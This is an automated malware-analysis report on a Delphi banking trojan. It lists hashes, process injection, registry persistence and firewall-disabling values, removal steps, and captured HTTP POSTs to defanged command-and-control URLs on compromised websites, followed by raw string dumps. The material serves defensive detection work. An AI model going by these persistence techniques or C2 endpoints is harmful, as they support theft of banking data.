HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Zusy.190729 (B) (Emsisoft), Gen:Variant.Zusy.190729 (AdAware), Trojan-Banker.Win32.Banker.FD, Trojan-Banker.Win32.Brasil.FD, Trojan.Win32.Delphi.FD, Trojan.Win32.Iconomon.FD, Trojan.Win32.Sasfis.FD, VirTool.Win32.DelfInject.FD, GenericInjector.YR, BankerGeneric.YR (Lavasoft MAS)Behaviour: Banker, Trojan, VirTool
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 556b02e49156dd56fdbb25b7370acd64
SHA1: f0d2e3ea2631951d05204a6334a64df1fbcaa152
SHA256: 41ed161c05fddaa625bb1e311f0e30d461206391942100680c20acc22798a0ba
SSDeep: 49152:2ecbtRyaDO/TsTnUkcNVuV9zwu3WJ7rmFXPw6Ud4yyFF:2LblzQ7qZPw7KyyF
Size: 7921664 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6, BorlandDelphi30, BorlandDelphiv30, ACProtect141
Company: no certificate found
Created at: 2010-02-19 08:15:49
Analyzed on: WindowsXP SP3 32-bit
Summary: Banker. Steals data relating to online banking systems, e-payment systems and credit card systems.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
%original file name%.exe:1168
The Trojan injects its code into the following process(es):
Aviation.exe:620
Explorer.EXE:1572
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:1168 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\Aviation.exe (59260 bytes)
Registry activity
The process Aviation.exe:620 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E9 5A 8C 9E A0 42 19 18 07 AA 1C E3 05 5E D6 70"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Win]
"Shell" = "Explorer.exe %WinDir%\Aviation.exe"
The following service is disabled:
[HKLM\System\CurrentControlSet\Services\SharedAccess]
"Start" = "4"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Aviation.exe internacional" = "%WinDir%\Aviation.exe"
The Trojan deletes the following value(s) in system registry:
[HKLM\SOFTWARE\Aviation]
"meba1"
"meba2"
The Trojan disables automatic startup of the application by deleting the following autorun value:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"HBO.exe internacional"
The process %original file name%.exe:1168 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7A 6C F6 F7 7D 01 44 C0 D3 41 56 4C F2 46 F5 E8"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Win]
"Shell" = "Explorer.exe %WinDir%\Aviation.exe"
[HKLM\SOFTWARE\Aviation]
"Ativ/Desa" = "0"
The following service is disabled:
[HKLM\System\CurrentControlSet\Services\SharedAccess]
"Start" = "4"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Aviation.exe internacional" = "%WinDir%\Aviation.exe"
The Trojan deletes the following value(s) in system registry:
The Trojan disables automatic startup of the application by deleting the following autorun value:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"HBO.exe internacional"
Dropped PE files
There are no dropped PE files.
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1168
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%WinDir%\Aviation.exe (59260 bytes)
- Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Aviation.exe internacional" = "%WinDir%\Aviation.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: Aviation
Product Name: Aviation
Product Version: 20
Legal Copyright: Aviation
Legal Trademarks: Aviation
Original Filename: Aviation
Internal Name: Aviation
File Version: 12.0.0.14
File Description: Aviation
Comments:
Language: English (United States)
Company Name: AviationProduct Name: AviationProduct Version: 20Legal Copyright: AviationLegal Trademarks: AviationOriginal Filename: AviationInternal Name: AviationFile Version: 12.0.0.14File Description: AviationComments: Language: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 1280140 | 1280512 | 4.55485 | 3bf2d4c70ebcbdfd05a6b3dddb5a66cb |
.itext | 1286144 | 5492 | 5632 | 4.38106 | 2203fa0f3eadf2e20ee96e938ad984b3 |
.data | 1294336 | 35952 | 36352 | 4.11172 | 8feb93f32d198317e305742d6223b543 |
.bss | 1331200 | 27504 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.idata | 1359872 | 14148 | 14336 | 3.14061 | 8287c0895f2154d15f69a453a3f35bad |
.tls | 1376256 | 64 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.rdata | 1380352 | 24 | 512 | 0.117936 | 8f659a24cb03274b12aa5d91b6a90cd6 |
.reloc | 1384448 | 91864 | 92160 | 0 | b2a7a65cbd4803bbdb552620e57cd1bd |
.rsrc | 1478656 | 6491136 | 6491136 | 2.13174 | 7ccdb00b77c92f948daf1aab7da770ef |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://gone2paradise.net/images/thumbs_.php | |
hxxp://faunarescue.org/albums/thumbs_.php | |
hxxp://faunarescue.org/albums/ | |
hxxp://www.safe-tec.de/inc/htmln.php | 85.13.149.202 |
hxxp://www.giteluberon.fr/resources/htmln.php | 217.160.223.208 |
hxxp://www.vigneron-independant.com//download/images/htmln.php | 178.33.0.119 |
hxxp://www.maskottchen24.de/ext/positivo.php | 46.252.18.142 |
hxxp://www.jhcomp1609.com/eng/positivo.php | 112.175.14.21 |
hxxp://volleyball-stuttgart.de/ecards/positivo.php | |
hxxp://www.faunarescue.org/albums/ | 72.167.232.146 |
hxxp://www.volleyball-stuttgart.de/ecards/positivo.php | 81.169.145.90 |
hxxp://www.faunarescue.org/albums/thumbs_.php | 72.167.232.146 |
hxxp://www.gone2paradise.net/images/thumbs_.php | 192.185.98.76 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
POST /resources/htmln.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Host: VVV.giteluberon.fr
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
texto=
HTTP/1.1 404 Not Found
Date: Tue, 17 May 2016 08:59:26 GMT
Server: Apache
Content-Length: 823
Keep-Alive: timeout=2, max=200
Connection: Keep-Alive
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"."http://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml" xml:lang="en" lang="en">. <head>. <title>Error 404 - Not found</title>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />. <meta http-equiv="cache-control" content="no-cache" />. </head>. <body style="font-family:arial;">. .<h1 style="color:#0a328c;font-size:1.0em;">Error 404 - Not found</h1>..<p style="font-size:0.8em;">Le fichier requis n'a pas été trouvé..Il peut s'agir d'une erreur technique. Veuillez réessayer ultérieurement. Si vous ne pouvez pas accéder au fichier après plusieurs tentatives, cela signifie qu'il a été supprimé..</p>. </body>. </html>...
POST /eng/positivo.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Host: VVV.jhcomp1609.com
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
HTTP/1.1 404 Object Not Found
Server: WebKnight/2.4
Date: Tue, 17 May 2016 08:59:34 GMT
Content-Type: text/html; charset=windows-1252
Content-Length: 836
Pragma: no-cache
Cache-control: no-cache
Expires: Tue, 17 May 2016 08:59:34 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN".. "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://VVV.w3.org/1999/xhtml">..<head>...<META NAME="ROBOTS" CONTENT="NOINDEX">...<title>Firewall Alert</title>...<style type="text/css">...<!--....body {.....font-size:small;....}....div {.....margin:0;.....padding:0;....}....#contents {.....width:500px; height:300px;.....position:absolute; top:50%; left:50%;.....margin:-150px 0 0 -250px;...../* margin-top.. height.. 50%, margin-left.. width.. 50%.. .......... ....... */.....background:#FFF url(hXXp://VVV.nesolution.com/messages/images/firewall.gif) no-repeat;.....text-indent:-1000px;....}...//-->...</style>..</head>..<body>..<div id="contents">....... ........ .. ........ .... ...... .................</div>..</body>..</html>....
POST /albums/ HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
Host: VVV.faunarescue.org
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
texto=..............................................................?..........................................................................................................
HTTP/1.1 302 Found
Date: Tue, 17 May 2016 08:59:24 GMT
Server: Apache
Location: hXXp://p3nlhclust404.shr.prod.phx3.secureserver.net/SharedContent/redirect_0.html
Content-Length: 330
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://p3nlhclust404.shr.prod.phx3.secureserver.net/SharedContent/redirect_0.html">here</a>.</p>.<hr>.<address>Apache Server at faunarescue.org Port 80</address>.</body></html>...
POST /ext/positivo.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Host: VVV.maskottchen24.de
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
HTTP/1.1 301 Moved Permanently
Date: Tue, 17 May 2016 08:59:28 GMT
Server: Apache/2.4.10
X-Powered-By: PHP/5.2.17
Connection: close
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: 130086927f173a49292dc87be9d0d1d5=6aEcOkCfe18=d1O6F3lECOo=NSHMkvVZsqk=ZCoimWplOTc=X0kaUsMBarQ=AbX9CyshljQ=5Ns4ouO3I48=xZYNRkXktT8=; expires=Mon, 06-Jun-2016 08:59:28 GMT; path=/; domain=maskottchen24.de
Set-Cookie: 130086927f173a49292dc87be9d0d1d5=6aEcOkCfe18=d1O6F3lECOo=NSHMkvVZsqk=ZCoimWplOTc=X0kaUsMBarQ=LIkYzL1kNK8=JF5wHvO6PzE=lF5gzfWzAd0=LNhM2cw8JRA=7WP7IxOEn7A=; expires=Mon, 06-Jun-2016 08:59:28 GMT; path=/; domain=maskottchen24.de
Set-Cookie: 130086927f173a49292dc87be9d0d1d5=6aEcOkCfe18=d1O6F3lECOo=NSHMkvVZsqk=ZCoimWplOTc=X0kaUsMBarQ=LIkYzL1kNK8=JF5wHvO6PzE=WaOGZqMY5go=LnrtD7gLLN4=SprGAYOtap4=Srx22nDX9no=; expires=Mon, 06-Jun-2016 08:59:28 GMT; path=/; domain=maskottchen24.de
Location: hXXp://VVV.maskottchen24.de/
Content-Type: text/html; charset=utf-8
..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "hXXp://VVV.w3.org/TR/xhtml11/DTD/xhtml11.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml" xml:lang="de">..<head>...<title>Maskottchen24</title>...<meta http-equiv="Content-Type" content="application/xhtml xml; charset=utf-8" />...<meta name="generator" content="PrestaShop" />...<meta name="robots" content="index,follow" />...<link rel="icon" type="image/vnd.microsoft.icon" href="http://VVV.maskottchen24.de/img/favicon.ico" />...<link rel="shortcut icon" type="image/x-icon" href="hXXp://VVV.maskottchen24.de/img/favicon.ico" />...<link href="/themes/theme032/css/global.css" rel="stylesheet" type="text/css" media="all" />...<link href="hXXp://VVV.maskottchen24.de/themes/theme032/css/style.css" rel="stylesheet" type="text/css" media="all" />...<link href="hXXp://VVV.maskottchen24.de/themes/theme032/css/domtab.css" rel="stylesheet" type="text/css" media="all" />...<script type="text/javascript" src="hXXp://www.maskottchen24.de/js/tools.js"></script>...<script type="text/javascript">....var baseDir = 'hXXp://VVV.maskottchen24.de/';....var static_token = 'ed2eebe59895e4f5580c8c805898f944';....var token = '08c8a478ad3ff4ccdee47105a16e9462';....var priceDisplayPrecision = 2;....var roundMode = 2;...</script>. . .<link rel="stylesheet" type="text/css" href="hXXp://VVV.maskottchen24.de/themes/theme032/slider_header/engine1/style.css"/>.... . ..
<<< skipped >>>
POST /ecards/positivo.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Host: VVV.volleyball-stuttgart.de
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
HTTP/1.1 301 Moved Permanently
Date: Tue, 17 May 2016 08:59:30 GMT
Server: Apache/2.2.31 (Unix)
Location: hXXp://VVV.allianz-volleyball.de/ecards/positivo.php
Content-Length: 260
Keep-Alive: timeout=3, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://VVV.allianz-volleyball.de/ecards/positivo.php">here</a>.</p>.</body></html>...
POST /ecards/positivo.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Host: VVV.volleyball-stuttgart.de
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
HTTP/1.1 301 Moved Permanently
Date: Tue, 17 May 2016 08:59:33 GMT
Server: Apache/2.2.31 (Unix)
Location: hXXp://VVV.allianz-volleyball.de/ecards/positivo.php
Conten
POST /albums/thumbs_.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
Host: VVV.faunarescue.org
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
texto=..............................................................?..........................................................................................................
HTTP/1.1 302 Found
Date: Tue, 17 May 2016 08:59:23 GMT
Server: Apache
Location: hXXp://p3nlhclust404.shr.prod.phx3.secureserver.net/SharedContent/redirect_0.html
Content-Length: 330
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://p3nlhclust404.shr.prod.phx3.secureserver.net/SharedContent/redirect_0.html">here</a>.</p>.<hr>.<address>Apache Server at faunarescue.org Port 80</address>.</body></html>...
POST /eng/positivo.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Host: VVV.jhcomp1609.com
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
HTTP/1.1 404 Object Not Found
Server: WebKnight/2.4
Date: Tue, 17 May 2016 08:59:31 GMT
Content-Type: text/html; charset=windows-1252
Content-Length: 836
Pragma: no-cache
Cache-control: no-cache
Expires: Tue, 17 May 2016 08:59:31 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN".. "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://VVV.w3.org/1999/xhtml">..<head>...<META NAME="ROBOTS" CONTENT="NOINDEX">...<title>Firewall Alert</title>...<style type="text/css">...<!--....body {.....font-size:small;....}....div {.....margin:0;.....padding:0;....}....#contents {.....width:500px; height:300px;.....position:absolute; top:50%; left:50%;.....margin:-150px 0 0 -250px;...../* margin-top.. height.. 50%, margin-left.. width.. 50%.. .......... ....... */.....background:#FFF url(hXXp://VVV.nesolution.com/messages/images/firewall.gif) no-repeat;.....text-indent:-1000px;....}...//-->...</style>..</head>..<body>..<div id="contents">....... ........ .. ........ .... ...... .................</div>..</body>..</html>....
POST //download/images/htmln.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Host: VVV.vigneron-independant.com
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
texto=
HTTP/1.1 200 OK
Date: Tue, 17 May 2016 08:59:26 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7 squeeze23
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
HTTP/1.1 200 OK..Date: Tue, 17 May 2016 08:59:26 GMT..Server: Apache/2.2.16 (Debian)..X-Powered-By: PHP/5.3.3-7 squeeze23..Vary: Accept-Encoding..Content-Length: 0..Keep-Alive: timeout=15, max=100..Connection: Keep-Alive..Content-Type: text/html..
POST /ext/positivo.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Host: VVV.maskottchen24.de
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
HTTP/1.1 301 Moved Permanently
Date: Tue, 17 May 2016 08:59:31 GMT
Server: Apache/2.4.10
X-Powered-By: PHP/5.2.17
Connection: close
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: 130086927f173a49292dc87be9d0d1d5=6aEcOkCfe18=d1O6F3lECOo=NSHMkvVZsqk=+y1VTVR7Ijg=X0kaUsMBarQ=AbX9CyshljQ=s3UF9JAcqng=zVZbqpaRY4o=; expires=Mon, 06-Jun-2016 08:59:31 GMT; path=/; domain=maskottchen24.de
Set-Cookie: 130086927f173a49292dc87be9d0d1d5=6aEcOkCfe18=d1O6F3lECOo=NSHMkvVZsqk=+y1VTVR7Ijg=X0kaUsMBarQ=LIkYzL1kNK8=JF5wHvO6PzE=lF5gzfWzAd0=9dOCnp6MjVw=CJumTwBgElU=; expires=Mon, 06-Jun-2016 08:59:31 GMT; path=/; domain=maskottchen24.de
Set-Cookie: 130086927f173a49292dc87be9d0d1d5=6aEcOkCfe18=d1O6F3lECOo=NSHMkvVZsqk=+y1VTVR7Ijg=X0kaUsMBarQ=LIkYzL1kNK8=JF5wHvO6PzE=WaOGZqMY5go=LnrtD7gLLN4=xELfkmhnzGc=iJGru20q698=suH9FIE1Kto=; expires=Mon, 06-Jun-2016 08:59:31 GMT; path=/; domain=maskottchen24.de
Location: hXXp://VVV.maskottchen24.de/
Content-Type: text/html; charset=utf-8
..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "hXXp://VVV.w3.org/TR/xhtml11/DTD/xhtml11.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml" xml:lang="de">..<head>...<title>Maskottchen24</title>...<meta http-equiv="Content-Type" content="application/xhtml xml; charset=utf-8" />...<meta name="generator" content="PrestaShop" />...<meta name="robots" content="index,follow" />...<link rel="icon" type="image/vnd.microsoft.icon" href="http://VVV.maskottchen24.de/img/favicon.ico" />...<link rel="shortcut icon" type="image/x-icon" href="hXXp://VVV.maskottchen24.de/img/favicon.ico" />...<link href="/themes/theme032/css/global.css" rel="stylesheet" type="text/css" media="all" />...<link href="hXXp://VVV.maskottchen24.de/themes/theme032/css/style.css" rel="stylesheet" type="text/css" media="all" />...<link href="hXXp://VVV.maskottchen24.de/themes/theme032/css/domtab.css" rel="stylesheet" type="text/css" media="all" />...<script type="text/javascript" src="hXXp://www.maskottchen24.de/js/tools.js"></script>...<script type="text/javascript">....var baseDir = 'hXXp://VVV.maskottchen24.de/';....var static_token = 'ed2eebe59895e4f5580c8c805898f944';....var token = '08c8a478ad3ff4ccdee47105a16e9462';....var priceDisplayPrecision = 2;....var roundMode = 2;...</script>. . .<link rel="stylesheet" type="text/css" href="hXXp://VVV.maskottchen24.de/themes/theme032/slider_header/engine1/style.css"/>.... . ..
<<< skipped >>>
POST /images/thumbs_.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
Host: VVV.gone2paradise.net
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
texto=..............................................................?..........................................................................................................
HTTP/1.1 406 Not Acceptable
Server: nginx/1.10.0
Date: Tue, 17 May 2016 08:59:23 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 226
Connection: keep-alive
<head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>..
POST /inc/htmln.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Host: VVV.safe-tec.de
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
texto=
HTTP/1.0 404 Not Found
Date: Tue, 17 May 2016 08:59:25 GMT
Server: Apache
X-Powered-By: W3 Total Cache/0.9.3
Set-Cookie: _icl_current_language=de; expires=Wed, 18-May-2016 08:59:25 GMT; path=/
X-Pingback: hXXp://safe-tec.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: User-Agent,Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>.<!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->.<!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8"> <![endif]-->.<!--[if IE 8]> <html class="no-js lt-ie9"> <![endif]-->.<!--[if gt IE 8]><!--> <html class="no-js"> <!--<![endif]-->. <head>...<meta charset="UTF-8">..<title>Safe-Tec</title>..<link rel="stylesheet" href="hXXp://safe-tec.de/wp-content/plugins/sitepress-multilingual-cms/res/css/language-selector.css?v=2.6.0" type="text/css" media="all" />.....<meta name="viewport" content="width=device-width">..<link rel="shortcut icon" href="hXXp://safe-tec.de/wp-content/themes/js-safetec-wp/img/favicon.ico">..<link rel="stylesheet" href="http://safe-tec.de/wp-content/themes/js-safetec-wp/style.css">....<script src="hXXp://safe-tec.de/wp-content/themes/js-safetec-wp/js/modernizr-2.6.1.min.js"></script>..<script type="text/javascript" src="hXXp://safe-tec.de/wp-content/themes/js-safetec-wp/js/jquery-1.8.2.min.js"></script>..<script type='text/javascript' src='hXXp://safe-tec.de/wp-content/themes/js-safetec-wp/js/init.js'></script>..<script>..if((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i)) || (navigator.userAgent.match(/Android/i)))..{..viewport = document.querySelector("meta[name=viewport]");..viewport.setAttribute('content', 'width=1300');..docume
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
msmsgs.exe_1016:
.text
.text
`.data
`.data
.rsrc
.rsrc
msvcrt.dll
msvcrt.dll
ADVAPI32.dll
ADVAPI32.dll
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
GDI32.dll
GDI32.dll
USER32.dll
USER32.dll
WSOCK32.dll
WSOCK32.dll
ws2_32.DLL
ws2_32.DLL
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
COMCTL32.dll
COMCTL32.dll
comdlg32.dll
comdlg32.dll
SHELL32.dll
SHELL32.dll
VERSION.dll
VERSION.dll
WINMM.dll
WINMM.dll
SHLWAPI.dll
SHLWAPI.dll
gdiplus.dll
gdiplus.dll
MSIMG32.dll
MSIMG32.dll
NETAPI32.dll
NETAPI32.dll
WININET.dll
WININET.dll
cryptdll.dll
cryptdll.dll
iphlpapi.dll
iphlpapi.dll
4.7.3001
4.7.3001
SHLWAPI.DLL
SHLWAPI.DLL
msmsgs.exe
msmsgs.exe
1.2.6
1.2.6
MSNFTP
MSNFTP
CONNECT %s:%d HTTP/1.0
CONNECT %s:%d HTTP/1.0
User-Agent: MSMSGS
User-Agent: MSMSGS
@MSGR
@MSGR
WinMsgr
WinMsgr
crypt32.dll
crypt32.dll
CryptDestroyKey
CryptDestroyKey
CryptImportKey
CryptImportKey
CryptExportKey
CryptExportKey
CryptGetUserKey
CryptGetUserKey
CryptGenKey
CryptGenKey
advapi32.dll
advapi32.dll
1.2.1
1.2.1
0123456789ABCDEFlibpng error: %s
0123456789ABCDEFlibpng error: %s
libpng error: %s, offset=%d
libpng error: %s, offset=%d
libpng error no. %s: %s
libpng error no. %s: %s
libpng warning: %s
libpng warning: %s
libpng warning no. %s: %s
libpng warning no. %s: %s
Unknown zTXt compression type %d
Unknown zTXt compression type %d
Incomplete compressed datastream in %s chunk
Incomplete compressed datastream in %s chunk
Data error in compressed datastream in %s chunk
Data error in compressed datastream in %s chunk
Buffer error in compressed datastream in %s chunk
Buffer error in compressed datastream in %s chunk
'7gamma = (%d/100000)
'7gamma = (%d/100000)
gx=%f, gy=%f, bx=%f, by=%f
gx=%f, gy=%f, bx=%f, by=%f
wx=%f, wy=%f, rx=%f, ry=%f
wx=%f, wy=%f, rx=%f, ry=%f
incorrect gamma=(%d/100000)
incorrect gamma=(%d/100000)
NULL row buffer for row %ld, pass %d
NULL row buffer for row %ld, pass %d
inflate 1.2.1 Copyright 1995-2003 Mark Adler
inflate 1.2.1 Copyright 1995-2003 Mark Adler
iTXt chunk not supported.
iTXt chunk not supported.
Microsoft.Messenger.ToastSemaphore
Microsoft.Messenger.ToastSemaphore
xx
xx
l=%d&t=%s&h=%s
l=%d&t=%s&h=%s
%s?clientid=1&t=%s
%s?clientid=1&t=%s
MSGSHotmailSP
MSGSHotmailSP
%s%lu
%s%lu
0xx
0xx
%d.%d
%d.%d
%hs&CLCID=0xx&Country=%hs
%hs&CLCID=0xx&Country=%hs
%s%s%s:%d
%s%s%s:%d
%s%s%s
%s%s%s
%s:%d
%s:%d
wininet.dll
wininet.dll
hXXp://g.msn.com
hXXp://g.msn.com
gateway.messenger.hotmail.com
gateway.messenger.hotmail.com
hXXps://nexus.passport.com/rdr/pprdr.asp
hXXps://nexus.passport.com/rdr/pprdr.asp
messenger.hotmail.com
messenger.hotmail.com
HTTPGateway
HTTPGateway
%lu %s
%lu %s
%lu %s %s %s
%lu %s %s %s
%lu %s %s
%lu %s %s
%lu %c
%lu %c
MSMSGS
MSMSGS
%s%s%s
%s%s%s
%s
%s
%u %s %d
%u %s %d
%s %s
%s %s
%lu %s 0xx %s %s %s %s
%lu %s 0xx %s %s %s %s
%lu %lu 0xx %s %s %s %s
%lu %lu 0xx %s %s %s %s
%lu %s %d
%lu %s %d
%s %lu
%s %lu
%lu %c
%lu %c
%lu %s %s %lu.%lu %s %s %s %s %s
%lu %s %s %lu.%lu %s %s %s %s %s
%lu %s
%lu %s
%lu %s I %s
%lu %s I %s
%lu %s S %s
%lu %s S %s
%s %s %lu
%s %s %lu
%s %lu %s %lu
%s %lu %s %lu
%s %d
%s %d
%s %s
%s %s
%s %S
%s %S
HTTPProxy
HTTPProxy
HTTPProxyUsername
HTTPProxyUsername
HTTPProxyPassword
HTTPProxyPassword
HTTPProxyRealm
HTTPProxyRealm
HTTPGatewayDll
HTTPGatewayDll
Action=%s&SessionID=%s
Action=%s&SessionID=%s
SessionID=%s
SessionID=%s
Action=%s&Server=%s&IP=%s
Action=%s&Server=%s&IP=%s
hXXp://
hXXp://
hXXps://
hXXps://
Authorization: Passport1.4 OrgVerb=GET,OrgURL=hXXp://messenger.msn.com,sign-in=%s,pwd=%s,%s
Authorization: Passport1.4 OrgVerb=GET,OrgURL=hXXp://messenger.msn.com,sign-in=%s,pwd=%s,%s
Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%:%/%/messenger%.msn%.com,sign-in=%s,pwd=%s,%s
Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%:%/%/messenger%.msn%.com,sign-in=%s,pwd=%s,%s
PassportURLs:
PassportURLs:
DALogin=
DALogin=
PassportConfig:
PassportConfig:
prefs.js
prefs.js
GetUrlCacheEntryInfoExA
GetUrlCacheEntryInfoExA
SetUrlCacheEntryInfoA
SetUrlCacheEntryInfoA
AutoConfigURL
AutoConfigURL
RemoteAccess\Profile\%s
RemoteAccess\Profile\%s
Software\Microsoft\Windows\CurrentVersion\Internet Settings\LAN
Software\Microsoft\Windows\CurrentVersion\Internet Settings\LAN
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Auto Config Url
Auto Config Url
HTTP_ProxyPort
HTTP_ProxyPort
HTTP_Proxy
HTTP_Proxy
AutoConfigJSURL
AutoConfigJSURL
Software\Microsoft\Windows Media\WMSDK\Local\ProxyResultsCache\RAS\%s\%s
Software\Microsoft\Windows Media\WMSDK\Local\ProxyResultsCache\RAS\%s\%s
Software\Microsoft\Windows Media\WMSDK\Local\ProxyResultsCache\LAN\%s
